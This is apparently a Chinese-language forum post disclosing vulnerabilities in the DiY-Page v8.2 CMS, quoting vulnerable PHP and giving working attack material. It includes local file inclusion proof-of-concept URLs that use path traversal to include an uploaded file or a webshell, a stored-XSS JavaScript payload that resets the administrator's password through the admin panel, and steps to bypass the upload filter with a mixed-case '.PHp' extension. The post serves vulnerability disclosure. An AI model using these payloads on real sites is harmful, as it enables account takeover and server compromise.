看到有位同鞋发了个DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc..
A、本地文件包含漏洞
//js.php $incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php'; if (!include $incfile) dperror($l_error['cant_include'],$incfile,true); |
这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。
我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。
Poc: http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file///////////////// http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell |
B、Xss 跨站漏洞
跨站比较多,完全没过滤,类似的代码有:
if ($_POST['issubmit']==true) { $fidarray=trim($_POST['fidarray'],','); $backurl='javascript:history.go(-1);'; $actionurlold=$actionurl; $actionurl.='&do=list&cataid='.$_GET['cataid']; $entrytitle=$_POST['entrytitle']; $entrycontent=$_POST['entrycontent']; $entrytag=trim($_POST['entrytag']); …… |
可在发布条目的标题处写js,这个XSS跨首页也跨后台。
既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:
var xmlhttp=false; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else if(window.ActiveXObject){ xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); if(!xmlhttp){xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} } var action="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20"; var data="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=®ip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true"; xmlhttp.open("POST", action, false); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.send(data); |
C、上传漏洞
DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:
/inc/func.php function get_upload_filename($realname) { $exttmp=explode(".",$realname); $ext=$exttmp[count($exttmp)-1]; $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext); //过滤可执行文件 $filepath=get_upload_path().'/'; $filesubdir=date('Ym').'/'; mkdir($filepath.$filesubdir,0777); $datetmp=explode(" ",microtime()); $filesuffix=substr(md5($datetmp[1]),0,6); if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file'; //后缀加上.file $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext; $filepath.=$filename; return array('filename'=>$filename,'filepath'=>$filepath); } |
get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。
注册会员->发布条目->上传 *.PHp 即可。